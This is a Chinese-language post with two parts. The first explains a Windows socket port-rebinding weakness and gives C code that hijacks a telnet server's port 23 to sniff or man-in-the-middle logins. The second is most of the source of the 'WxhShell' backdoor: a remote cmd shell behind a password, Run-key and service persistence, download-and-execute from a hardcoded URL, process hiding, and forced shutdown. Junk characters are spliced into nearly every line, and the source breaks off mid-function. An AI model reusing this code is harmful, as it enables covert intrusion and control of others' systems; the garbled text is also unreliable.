在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
CkD#/
s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
%1O[i4s:- {R61cD,n saddr.sin_family = AF_INET;
dBe`p5Z &A)B~"[~ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
A~+S1 s]mY*@a% bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
Yd= a}T 9^Whg~{ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
2KN6} ;M#_6Hd?qD 这意味着什么?意味着可以进行如下的攻击:
?a8(azn z$GoaS( 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
@`Eg( XC "'Q+ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
_~tEw.fM5 *
Y7jl#7 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
`|#Qx3n% 2aB^WY'tC 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
B`o]*"xkB Sh,&{z! 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
'd&0Js$^ OhmQ, 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
199]W Hc }X_;X_\3;' 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
T4 N~(Fi) R8UYP=Kp #include
)aao[_ZS #include
VX+jadYdq #include
?wF'<kEH #include
|),'9 DWORD WINAPI ClientThread(LPVOID lpParam);
+sx 8t int main()
M=*bh5t%] {
L%$|^T=% WORD wVersionRequested;
E+ tB& DWORD ret;
N,
*m , WSADATA wsaData;
D?,#aB" BOOL val;
bY2 C]r(n SOCKADDR_IN saddr;
xD /9F18 SOCKADDR_IN scaddr;
?N=m<fn int err;
mVsIAC$}8 SOCKET s;
|*Yf.- SOCKET sc;
L IVU^Os. int caddsize;
-0eq_+oQ HANDLE mt;
5"]~oPK DWORD tid;
P"?FnTbv[ wVersionRequested = MAKEWORD( 2, 2 );
7Wa?$6d err = WSAStartup( wVersionRequested, &wsaData );
pge++Di if ( err != 0 ) {
?@t d printf("error!WSAStartup failed!\n");
:nS;W return -1;
G,<T/f
.{$ }
)T66<UDK| saddr.sin_family = AF_INET;
]I.n\2R]om d90Z,nex //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
kR@Yl Yo 9cx =@ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
>'5_Y]h4m| saddr.sin_port = htons(23);
:BukUket1e if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
he -Ji {
+"}=d3E6 printf("error!socket failed!\n");
eo!zW return -1;
jWO/
xX }
GK}'R= val = TRUE;
M9f?q.Bv //SO_REUSEADDR选项就是可以实现端口重绑定的
!k(_PM if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
%Lrd6i_j {
f0SAP0M3 printf("error!setsockopt failed!\n");
T<joRR return -1;
0T5=W U }
=!UR=Hq //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
deeU@x`f< //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
nL}5cPI //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
<0.$'M~E KZe)K_1[ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
tYqs~B3 {
I.@hW>k ret=GetLastError();
J3b4cxm printf("error!bind failed!\n");
.E~(h*NW return -1;
d~_`M0+ }
u@P[Vb listen(s,2);
>Aq870n while(1)
cZ+7.oDu {
yag}fQ(XH caddsize = sizeof(scaddr);
GOB(#vu //接受连接请求
!epgTN sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
HXVBb%pP if(sc!=INVALID_SOCKET)
CG&`16KN7 {
Koln9'tB mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
M4LktR-[ if(mt==NULL)
Xvok1NM,
{
}Y1>(U printf("Thread Creat Failed!\n");
w_4]xgS: break;
s;YKeE!8 }
W"xP(7X }
NOK/<_/ CloseHandle(mt);
>71&]/Rv }
&&<9p;E closesocket(s);
wFIh6[3 WSACleanup();
KZ:8[d return 0;
MZSxQ8 }
Ti;Ijcq8 DWORD WINAPI ClientThread(LPVOID lpParam)
fKa\7{R {
xg{HQQ|TC SOCKET ss = (SOCKET)lpParam;
}5O>EXE0R SOCKET sc;
hc$@J}` unsigned char buf[4096];
ZDYJhJ. SOCKADDR_IN saddr;
Zz |MIGHm long num;
9kY[j2,+ DWORD val;
|"$uRV=qm DWORD ret;
kK~IwA //如果是隐藏端口应用的话,可以在此处加一些判断
?vGffMm //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
5lJ)(|_ saddr.sin_family = AF_INET;
?68uS; saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
:Ze+%d= saddr.sin_port = htons(23);
QldzQ%4c\ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
xq-$\#O {
=]Hs|{ printf("error!socket failed!\n");
$
Cjk return -1;
3Gr&p6 }
D0]a\,aZ val = 100;
w,j cm; if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
D~&Mwsi {
rp:wQH7 ret = GetLastError();
<B&R6<]T return -1;
k6?cP0I)5 }
VzRx%j/i if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
j%*7feSNC {
D;F{1[s( ret = GetLastError();
fd8#Ng"1 return -1;
%xyX8c{sP }
-#A:`/22 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
c;I, O {
P8gXCX!>U printf("error!socket connect failed!\n");
gKb0)4 AK closesocket(sc);
K,}w]b closesocket(ss);
~%|G+m> return -1;
xQlT%X;' }
lg:y|@Y'' while(1)
{R&ZqEo'D {
;? uC=o>Z{ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
_NdLcpBT? //如果是嗅探内容的话,可以再此处进行内容分析和记录
vU/ D7 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
FX,$_:f6Y num = recv(ss,buf,4096,0);
_8h8Wtif if(num>0)
C@HD(..# send(sc,buf,num,0);
c8QnN:n else if(num==0)
EH+~].PJd break;
.1*DR]^` num = recv(sc,buf,4096,0);
L]2<&%N2 if(num>0)
R+$8w2# send(ss,buf,num,0);
GG'Sp53GE else if(num==0)
*"G 8 break;
N^elVu4 K }
d\XRUO[ closesocket(ss);
i&@,5/'-_O closesocket(sc);
CYB=Uq, return 0 ;
K:qOoY }
Ha ZFxh-( bEr.nF %f[Ep 3D ==========================================================
?:|YGLaB 3BMS_,P 下边附上一个代码,,WXhSHELL
R~B0+ :6 e.6Dl_ ==========================================================
`h;}3r#R{ Bx X$5u #include "stdafx.h"
hZNEv| Plz-7fy33 #include <stdio.h>
A:Rw@B$ #include <string.h>
!J.rM5K #include <windows.h>
d0C8*ifFO #include <winsock2.h>
Y%vP#>h #include <winsvc.h>
ixOw=!@ #include <urlmon.h>
WhUa^ "jU #pragma comment (lib, "Ws2_32.lib")
d7bjbJwu #pragma comment (lib, "urlmon.lib")
=
?N^>zie GMFc K= #define MAX_USER 100 // 最大客户端连接数
s%dF~DSK #define BUF_SOCK 200 // sock buffer
~440#kj< #define KEY_BUFF 255 // 输入 buffer
u"F;OT\>g iAQvsE #define REBOOT 0 // 重启
REx[`x,GUh #define SHUTDOWN 1 // 关机
K
M]Wl_z L^KdMMz; #define DEF_PORT 5000 // 监听端口
TSyzdnMvz o#d$[oa #define REG_LEN 16 // 注册表键长度
L/k40cEI^z #define SVC_LEN 80 // NT服务名长度
WX*cI Cb5 BpXEK.Xw // 从dll定义API
HRRngk#lV typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
S.fXHtSx typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
ti;%BS typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
_XN~@5elrC typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
`03<0L +IsWI;lp // wxhshell配置信息
`p"U struct WSCFG {
CSL4P) int ws_port; // 监听端口
._BB+G char ws_passstr[REG_LEN]; // 口令
<jL#>L%% int ws_autoins; // 安装标记, 1=yes 0=no
$T)d!$ char ws_regname[REG_LEN]; // 注册表键名
x[m'FsR4 char ws_svcname[REG_LEN]; // 服务名
F>Mr<k=@; char ws_svcdisp[SVC_LEN]; // 服务显示名
U~g@TfU; char ws_svcdesc[SVC_LEN]; // 服务描述信息
rAatJc"0 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
QBj Y&(vY int ws_downexe; // 下载执行标记, 1=yes 0=no
;^.9#B,< char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
/2:Q6J char ws_filenam[SVC_LEN]; // 下载后保存的文件名
vadM1c*z 0O['w<_ };
j[T%'% er\:U0fr#@ // default Wxhshell configuration
V9$-twhu struct WSCFG wscfg={DEF_PORT,
:A$wX$H01 "xuhuanlingzhe",
M7H~;S\3IM 1,
xucIjPi] "Wxhshell",
.%hQJ{vf-^ "Wxhshell",
B=x~L "WxhShell Service",
T.euoFU{Z "Wrsky Windows CmdShell Service",
uk{J@&F "Please Input Your Password: ",
G+Ei#:W, 1,
;G$)MS'nB "
http://www.wrsky.com/wxhshell.exe",
9l=Fv6 "Wxhshell.exe"
}moz9a };
#y`k$20" e6es0D[>5 // 消息定义模块
L(Rorf~V char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
~g96o81V char *msg_ws_prompt="\n\r? for help\n\r#>";
E#~2wqK char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
1(F'~i|5 char *msg_ws_ext="\n\rExit.";
v7$9QVze char *msg_ws_end="\n\rQuit.";
^AH-+#5 char *msg_ws_boot="\n\rReboot...";
wO\!xW: char *msg_ws_poff="\n\rShutdown...";
@>9A$w$H|a char *msg_ws_down="\n\rSave to ";
v*gLNB,ZH H.;yLL= char *msg_ws_err="\n\rErr!";
?ZM^%]/+ char *msg_ws_ok="\n\rOK!";
Kk56/(_S kBUufV~ char ExeFile[MAX_PATH];
`i{4cT8: int nUser = 0;
<W9) Bq4 HANDLE handles[MAX_USER];
9/QS0 int OsIsNt;
GfQ^@Tl !%)L&W_ SERVICE_STATUS serviceStatus;
n%8#?GC` SERVICE_STATUS_HANDLE hServiceStatusHandle;
V'$oTZ` ^8U6"O6|X // 函数声明
ma`w\8a int Install(void);
A9.;>8!u int Uninstall(void);
92NC]_jw int DownloadFile(char *sURL, SOCKET wsh);
8s&2gn1 int Boot(int flag);
_.hIv8V void HideProc(void);
qIUC2,&g int GetOsVer(void);
zVn* !c int Wxhshell(SOCKET wsl);
GHqBnE{B void TalkWithClient(void *cs);
2tlO"c:_/ int CmdShell(SOCKET sock);
'NRN_c9 int StartFromService(void);
G:){^Z? int StartWxhshell(LPSTR lpCmdLine);
-<12~HKK:: gtl;P_ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
aSxG|OkKy VOID WINAPI NTServiceHandler( DWORD fdwControl );
@<%oIE~]F 3Y=,r!F.h // 数据结构和表定义
z4nou> SERVICE_TABLE_ENTRY DispatchTable[] =
>cSi/a,L {
L)=8mF. {wscfg.ws_svcname, NTServiceMain},
%!#rrt,F {NULL, NULL}
=`ywd]\7 };
F F(^:N G0^V!0I&O // 自我安装
%j!z\pa int Install(void)
cKSfqqPm$" {
^$ZI>L0+ char svExeFile[MAX_PATH];
P|yGx)'^P HKEY key;
Z@8MhJ strcpy(svExeFile,ExeFile);
+,:nm_kQU W=!F8g|Qz // 如果是win9x系统,修改注册表设为自启动
e*6U |+kJ if(!OsIsNt) {
+KYxw^k}"7 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
eF*TLI<[^I RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
qLu8!|QT RegCloseKey(key);
`mWQWx$V! if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
yg.\^C RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
u>j 5`OXo RegCloseKey(key);
qb
46EZu return 0;
z;``g"dSw }
=ulr_i%Xs }
/ N*HE }
W'm!f else {
lsN/$M|} S]Sp Z8 // 如果是NT以上系统,安装为系统服务
I>(;bNgNE SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
DHSU?o#jY if (schSCManager!=0)
KLj 4LOs {
0:PH[\Z SC_HANDLE schService = CreateService
:$+D
2*( (
c
g3Cl[s schSCManager,
vEX|Q\b6' wscfg.ws_svcname,
wGZ>iLe: wscfg.ws_svcdisp,
m.;{ 8AM%f SERVICE_ALL_ACCESS,
-O>^eMWywo SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
-%7Jj;yA SERVICE_AUTO_START,
jcT{ugpq SERVICE_ERROR_NORMAL,
0 m)-7@ svExeFile,
" {,\]l&o NULL,
A?^A*e NULL,
:%+^} NULL,
K*J4&5?/ NULL,
sj?`7kg NULL
cWX"e6 );
1D3dYVE if (schService!=0)
.eZPp~[lAN {
d"QM;9 CloseServiceHandle(schService);
2D\x-!l/ CloseServiceHandle(schSCManager);
,'/HcF?yf strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
IF,i^, strcat(svExeFile,wscfg.ws_svcname);
S&gKgQD"Q if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
wliGds RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
EIy]qAE:f RegCloseKey(key);
z_)OWWdN return 0;
<Hq6]\< }
.If"'hMY }
)Gu0i7iN CloseServiceHandle(schSCManager);
F}VS) }
dM>j<JC= }
Cw9@2E'b "^e}C@ return 1;
/\oyPD`(( }
-&f]Xu ]x5(bnWx // 自我卸载
BXKlO(7 int Uninstall(void)
c,{& {
sM);gI14 HKEY key;
=0jmm(:Jh
$\JQGic` if(!OsIsNt) {
A>ug'. if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
XSL
t;zL: RegDeleteValue(key,wscfg.ws_regname);
+S:u[x RegCloseKey(key);
dvrvpDoE. if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
5Xq.=/eX RegDeleteValue(key,wscfg.ws_regname);
8k* RegCloseKey(key);
hSLwiX~ return 0;
9~Y)wz }
'>S8t/ }
` maN5) }
Y3sNr)qss else {
etQx>U )f:!#v(K SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
X=*Yzz} if (schSCManager!=0)
zO7lsx2= {
OoU '86) SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
OLd$oxKR if (schService!=0)
3f7t% {
}tl8(kjm if(DeleteService(schService)!=0) {
K2cp f CloseServiceHandle(schService);
|P[D2R} CloseServiceHandle(schSCManager);
{YxSH% return 0;
,_TH@0{ }
s$+: F$Y0 CloseServiceHandle(schService);
5K_N }
sEgeS9a{ CloseServiceHandle(schSCManager);
Fh3Dc 83~ }
f6aT[Nw< }
56j/w[&8 OJC*|kN-#^ return 1;
E-7a`S }
D,m&^P=%e X<@y*?D9D // 从指定url下载文件
cr=FMfhB int DownloadFile(char *sURL, SOCKET wsh)
)sz2 9
{
66Cj=n5 HRESULT hr;
Cs~\FI1wR char seps[]= "/";
L2V
$%*6 char *token;
aLyhxmn ^) char *file;
d
q+7K char myURL[MAX_PATH];
4.Jaw+ char myFILE[MAX_PATH];
HnKF#<
>R'VY "\ strcpy(myURL,sURL);
*9U4^lJjn token=strtok(myURL,seps);
Pc\4QvQ8 while(token!=NULL)
Q e2/4j4 {
*t]&b ;=gE file=token;
"8j;k5< token=strtok(NULL,seps);
VEdnP+D }
"< hx f>, Qhl GetCurrentDirectory(MAX_PATH,myFILE);
#uR q] 'P strcat(myFILE, "\\");
l7r N
strcat(myFILE, file);
4-?`# send(wsh,myFILE,strlen(myFILE),0);
;^H+
|&$> send(wsh,"...",3,0);
a?Qcf;o hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
O]4
x;`) if(hr==S_OK)
:R _#'i return 0;
+ouy]b0`t else
~"4 vd 3 return 1;
z6>ZV6(d2^ #t9=qR~" }
rc{[\1 -N 6@_@nlA<1 // 系统电源模块
0g*r!aa int Boot(int flag)
;?L[]Ezzt {
aK=3`q HANDLE hToken;
4`'BaUU( TOKEN_PRIVILEGES tkp;
%` uRUex ]F)-}
if(OsIsNt) {
NcY0pAR* OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
Q17o5##x7 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
W;AWO0+ tkp.PrivilegeCount = 1;
Q!A3hr$IF tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
'frL/[S AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
p/^\(/\]) if(flag==REBOOT) {
FOnA;5Aa if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
2
DNzC7}e return 0;
HZQ3Ht 3Vh }
@ 6V H% else {
-L'`d if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
i:N^:% return 0;
%dWFg<< | }
i(cb&;Xx:A }
V;+$/>J`vB else {
Gy Xs{* if(flag==REBOOT) {
Vh[o[ U if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
y2hFUq return 0;
hm} :Me$[) }
v>cE59('0 else {
k2,oyUT=S if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
1NHoIX return 0;
:8!3*C-= }
E1 gTrMo }
{3p7`h~ [ BC%$Sj return 1;
ii]=C(e9 }
~^5n$jq 9QQ@Y} // win9x进程隐藏模块
CR PE?CRQF void HideProc(void)
:W<,iqSCm {
WHj4#v( C-b% PgA HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
$j2)_(<A%Q if ( hKernel != NULL )
+mW$D@Pf {
#=~1hk pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
TOF62, ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
3V!&y/c< FreeLibrary(hKernel);
``)1`wx$ }
yt#;3 sTstc+w return;
6rC P]YnF }
7Mg7B KGLhl;a // 获取操作系统版本
GyM%vGl
3 int GetOsVer(void)
v.&*z48 {
}eRG$)' OSVERSIONINFO winfo;
kvVz-PJy winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
rQ@o GetVersionEx(&winfo);
cb&In<q if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
6f9<&dCK return 1;
Y52xrIvl\ else
@X><lz return 0;
34M.xB }
csA.3|rv tnbs]6 // 客户端句柄模块
+dpj? int Wxhshell(SOCKET wsl)
^dKaa {
6e-h;ylS SOCKET wsh;
'#
2J?f' struct sockaddr_in client;
4J2F>m40 DWORD myID;
GoA>sK )$N{(Cke2T while(nUser<MAX_USER)
U$J_:~ {
{ RX| int nSize=sizeof(client);
jY6=+9Jz5 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
rd~W.b_b if(wsh==INVALID_SOCKET) return 1;
dnc!=Z89 )7mJ+d[ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
_q}%!#4 if(handles[nUser]==0)
l0 :xQV` closesocket(wsh);
y:zT1I@> else
L"<Eov6 nUser++;
A;HKR4p;8 }
TUYl><F5v= WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
Jl9TMu!1] _rh.z_a7w return 0;
BCB/cBE }
<a}|G1 h Y]0y
-H // 关闭 socket
ghR]$SG void CloseIt(SOCKET wsh)
fB}5,22 {
'ZgW~G]S closesocket(wsh);
6U3@-+lF nUser--;
8=AKOOU7> ExitThread(0);
~7lvY+k)< }
)cBV;
E< qf$|z`c // 客户端请求句柄
2n:J7PGD void TalkWithClient(void *cs)
qz SI cI {
=9MH m;1e xa SOCKET wsh=(SOCKET)cs;
\uIC<#o"N char pwd[SVC_LEN];
5i&V ~G char cmd[KEY_BUFF];
rmoEc]kt] char chr[1];
^Exq=oV int i,j;
e(N <Mf u`nn{C4D" while (nUser < MAX_USER) {
Zul32]1r 7B :aJfxM if(wscfg.ws_passstr) {
L%Hm#eFx if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
<xNM@!'\h //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Ot<!Y M //ZeroMemory(pwd,KEY_BUFF);
LA0x6E+I i=0;
@= 9y5r while(i<SVC_LEN) {
?bA]U: 9}_f\Bs // 设置超时
DYl{{L8@ fd_set FdRead;
)q-!5^ak struct timeval TimeOut;
jd'R2e FD_ZERO(&FdRead);
He23<hd! FD_SET(wsh,&FdRead);
Y)RikF > TimeOut.tv_sec=8;
O:R{4Q*5 TimeOut.tv_usec=0;
.H.v c_/ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
^:j:;\; if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
<p
.[E]a2_ g5\B- 3{ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
\H12~=p`B pwd
=chr[0]; en":
if(chr[0]==0xd || chr[0]==0xa) { Lj,%pz J
pwd=0; @SB+u+mOS
break; 4w[ta?&6B
} A+8b]t_k
i++; ~'mhC46d
} LvdMx]*SSr
@h3)!#\N
// 如果是非法用户,关闭 socket ri`|qy6! |
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [AwE
} !d_A? q'hN
PdnK@a
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 8~>3&jX
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); DR=1';63
@ U|u _S@
while(1) { PS1~6f"D
yp/*@8%_E
ZeroMemory(cmd,KEY_BUFF); Rw%KEUDm
z<*]h^!3
// 自动支持客户端 telnet标准 'M/&bu r
j=0; "TI?
qoz
while(j<KEY_BUFF) { tBQ>
p.
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); G8'3.;"W5
cmd[j]=chr[0]; WKML#U]5T
if(chr[0]==0xa || chr[0]==0xd) { X2Mj|_#u
cmd[j]=0; LOzKpvGl
break; #YdU,y=B
} ?sE21m?b-
j++; gV BV@v!W
} $!w%=
(%, '
// 下载文件 AR^Di`n!
if(strstr(cmd,"http://")) { WF G/vzJ
send(wsh,msg_ws_down,strlen(msg_ws_down),0); PN=yf@<V3F
if(DownloadFile(cmd,wsh)) y
6<tV.
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9m4|1)
else #u^d3
$Nj
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]ghPbS@
} ^lj>v}4fkW
else { Y.J$f<[R
~~mQ
switch(cmd[0]) { C? S %fF
*1Q?~
// 帮助 oef(i}8O@
case '?': { M:E#}(
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); u)-l+U.
break; KivzgNz
} j*}xe'#
// 安装 Pipif.
case 'i': { 8qveKS]vZ
if(Install()) zT8K})#
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]vMft?
else x`&W[AA4
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }$jIvb,3?
break; `^ok5w"oi
} J%'|IwA
// 卸载 Vv]mME@
case 'r': { wW~2]*n
if(Uninstall()) yFjSvm6
send(wsh,msg_ws_err,strlen(msg_ws_err),0); r>\.b{wI
else d|3[MnU[a
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F2=97=R
break; vr$[
} '"Gi&:*nQ<
// 显示 wxhshell 所在路径 ko$R%W&T
case 'p': { sXA=KD8
char svExeFile[MAX_PATH]; /DCUwg=0
strcpy(svExeFile,"\n\r"); ::6@mFL R
strcat(svExeFile,ExeFile); NG ~sE&,7
send(wsh,svExeFile,strlen(svExeFile),0); 6*tGf`Pfdw
break; *RhdoD|a
} e!#:h4I
// 重启 wuCODz@~
case 'b': { "\
md
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); $v,_8{ !
if(Boot(REBOOT)) lUmaNZ
send(wsh,msg_ws_err,strlen(msg_ws_err),0); V!p;ME
else { I5{SC-7
closesocket(wsh); A]1](VQ)4
ExitThread(0); y$rp1||lH
} G6FknYj
break; H|]Q;,C
} \TjsXy=:)
// 关机 v2NzPzzyb
case 'd': { t$b`Am
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 6Y=)12T
if(Boot(SHUTDOWN)) CKK8 o9W
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'a}pWkLB
else { idHBz*3~ps
closesocket(wsh); }QK-@T@4<
ExitThread(0); e([}dz
} ~_Aclm?
break; *5^h>Vk/
} ;-59#S&?tB
// 获取shell 8WMC ~
case 's': { -O\`G<s%
CmdShell(wsh); +NQw^!0qy
closesocket(wsh); R b'"09)$
ExitThread(0); ]`%cTdpLj
break; Xh5
z8
} HQ"D>hsuU
// 退出 xGjEEBL
case 'x': { MOXDR
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); vq|W&
CloseIt(wsh); 4q2aVm
break; Y`%:hvy~
} :2La,
// 离开 JVRK\A|R
case 'q': { {C
[7V{4(%
send(wsh,msg_ws_end,strlen(msg_ws_end),0); US-P>yF
closesocket(wsh); h/d&P
WSACleanup(); mD tD7FzJ
exit(1); k@^)>J^
break; OX!9T.j
} E1=]m
} #,Rmu
} wT;D<rqe`
J?HYN%
// 提示信息 mjfU[2
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^J?I-LG
} ]w({5i
} &q>=6sQvf
-3A#a_fu
return; ~u3E+w
} /_v@YB!0
.7"
f~%&oP
// shell模块句柄 SBs_rhe
int CmdShell(SOCKET sock) Ygr1 S(=
{ *G^QS"%
STARTUPINFO si; |oa9 g2
ZeroMemory(&si,sizeof(si)); .xS}/^8iD
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; a8''t_Dp
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; )=#QTiJ
PROCESS_INFORMATION ProcessInfo; 5P [b/.n
char cmdline[]="cmd"; wj/OYnMw
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); GHfsq|*j,Z
return 0; s+l)Q
} 5\lOZYHX
a~=$9+?w
// 自身启动模式 (=,p"3^
int StartFromService(void) 7EO/T,{a
{ a2/!~X9F
typedef struct zQ&`|kS
{ X2v|O3>/N
DWORD ExitStatus; q3n(Z
DWORD PebBaseAddress; L>
> %
DWORD AffinityMask; jNBvy1
DWORD BasePriority; y
~7]9?T
